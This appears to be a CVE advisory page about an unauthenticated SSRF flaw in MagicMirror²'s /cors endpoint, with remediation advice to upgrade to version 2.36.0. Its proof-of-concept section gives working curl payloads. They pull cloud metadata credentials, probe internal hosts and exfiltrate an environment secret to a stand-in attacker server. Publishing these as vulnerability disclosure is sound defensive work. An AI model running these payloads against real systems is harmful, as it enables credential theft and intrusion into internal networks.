CVE-2026-42281 — Vulnerability in magicmirror — CVE Details
CRITICAL
MagicMirror vulnerable to unauthenticated SSRF via /cors endpoint
Published May 5, 2026Updated June 8, 2026Source: osv
Summary
### Summary
An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the `/cors` endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (`**VAR_NAME**`), enabling exfiltration of server-side secrets.
### Details
The `/cors` endpoint in `js/server_functions.js` (function `cors()`, lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via `fetch()` and the full response is returned to the caller.
Additionally, the `replaceSecretPlaceholder()` function (lines 21-25) expands any `**VARIABLE_NAME**` pattern in the URL with the corresponding `process.env` value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).
**Vulnerable code path:**
```
GET /cors?url=<attacker-controlled-url>
→ replaceSecretPlaceholder(url) // expands **ENV_VAR** → process.env.ENV_VAR
→ fetch(url) // no validation, no blocklist
→ response returned to attacker // full body, status, headers
```
**Key issues:**
- No authentication required
- No URL validation or blocklist for private/reserved IP ranges
- No restriction on URL scheme or destination
- Environment variable expansion in URL before fetch
### PoC
**Prerequisites:** a running MagicMirror² instance accessible on the network (default: `http://<host>:8080`).
**1. Basic SSRF — access cloud metadata (AWS IMDSv1):**
```
curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/"
```
If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.
**2. Internal network scanning:**
```
curl "http://<target>:8080/cors?url=http://192.168.1.1/"
curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/"
```
The attacker can probe internal services by observing response status codes and timing.
**3. Environment variable exfiltration:**
```
curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**"
```
The server expands `**SECRET_API_KEY**` to the value of `process.env.SECRET_API_KEY` before making the request, sending the secret to the attacker-controlled server as a query parameter.
### Impact
- **Cloud deployments (AWS/GCP/Azure):** full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account
- **Internal network access:** the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker
- **Secret exfiltration:** environment variables containing API keys, database credentials, or other sensitive configuration are directly readable
- **Affected users:** anyone running MagicMirror² exposed to an untrusted network (including LAN). The `/cors` endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability
Advisory Timeline
First published May 5, 2026 (160 days ago).
Last revised June 8, 2026 — 34 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm
Update magicmirror to 2.36.0 or later
npm install magicmirror@2.36.0
After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
MagicMirror vulnerable to unauthenticated SSRF via /cors endpoint This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 8.6/10).
How do I check if my project is affected by CVE-2026-42281?
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Severity & Exploitability
CVSS Score
8.6
High exploitability or significant impact. Prioritize remediation within days.